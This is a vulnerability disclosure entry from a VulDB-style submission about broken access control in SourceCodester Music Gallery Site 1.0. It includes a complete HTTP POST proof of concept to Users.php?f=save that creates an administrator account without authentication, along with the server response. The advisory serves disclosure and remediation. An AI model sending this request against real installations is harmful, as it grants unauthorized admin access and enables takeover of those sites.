Submit #92665: SOURCECODESTER Music Gallery Site 1.0 / Users.php , Master.php Broken Access Control Vulnerability

Music Gallery Site pages (Users.php and Master.php) does have broken access control vulnerability which allow remote attacker to execute the restricted functions without login to the application.

Vendor Homepage:
https://www.sourcecodester.com

Software Link:
https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html

Version:
v 1.0

Vulnerable URLs:
- /php-music/classes/Users.php
- /php-music/classes/Master.php

Affected Page:
- Users.php , Master.php
- On these page, application isn't verifying the authenticated mechanism. Due to that, all the parameters are vulnerable to broken access control and any remote attacker could create and update the data into the application. Specifically, Users.php could allow to remote attacker to create a admin user without log-in to the application.

Description:
Broken access control allows any remote attacker to create, update and delete the data of the application. Specifically, adding the admin users

Proof of Concept:
Following steps are involved:
1. Send a POST request with required parameter to Users.php?f=save (See Below Request)

2. Request:

POST /php-music/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 876
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjwBNagY7zt6cjYHp
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/php-music/admin/?page=user/manage_user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="id"

------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="firstname"

Test
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="middlename"

Admin
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="lastname"

Check
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="username"

testadmin
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="password"

test123
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="type"

1
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryjwBNagY7zt6cjYHp--

3. Response:

HTTP/1.1 200 OK
Date: Tue, 21 Feb 2023 12:51:33 GMT
Server: Apache/2.4.55 (Debian)
X-Powered-By: PHP/8.2.1
Set-Cookie: PHPSESSID=4fc9d414500704813b83145da78d8e9e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

1

Recommendation:
Whoever uses this CMS, should update the authorization mechanism on top of the Users.php , Master.php pages as per requirement to avoid a Broken Access Control attack:

• Source: ⚠️ https://github.com/navaidzansari/CVE_Demo/blob/main/2023/Music%20Gallery%20Site%20-%20Broken%20Access%20Control.md
• User: navaidansari (UID 41266)
• Submission: 02/21/2023 14:14 (3 years ago)
• Moderation: 02/22/2023 19:12 (1 day later)
• Status: Accepted
• VulDB entry: 221633 [SourceCodester Music Gallery Site 1.0 POST Request Users.php access control]
• Points: 20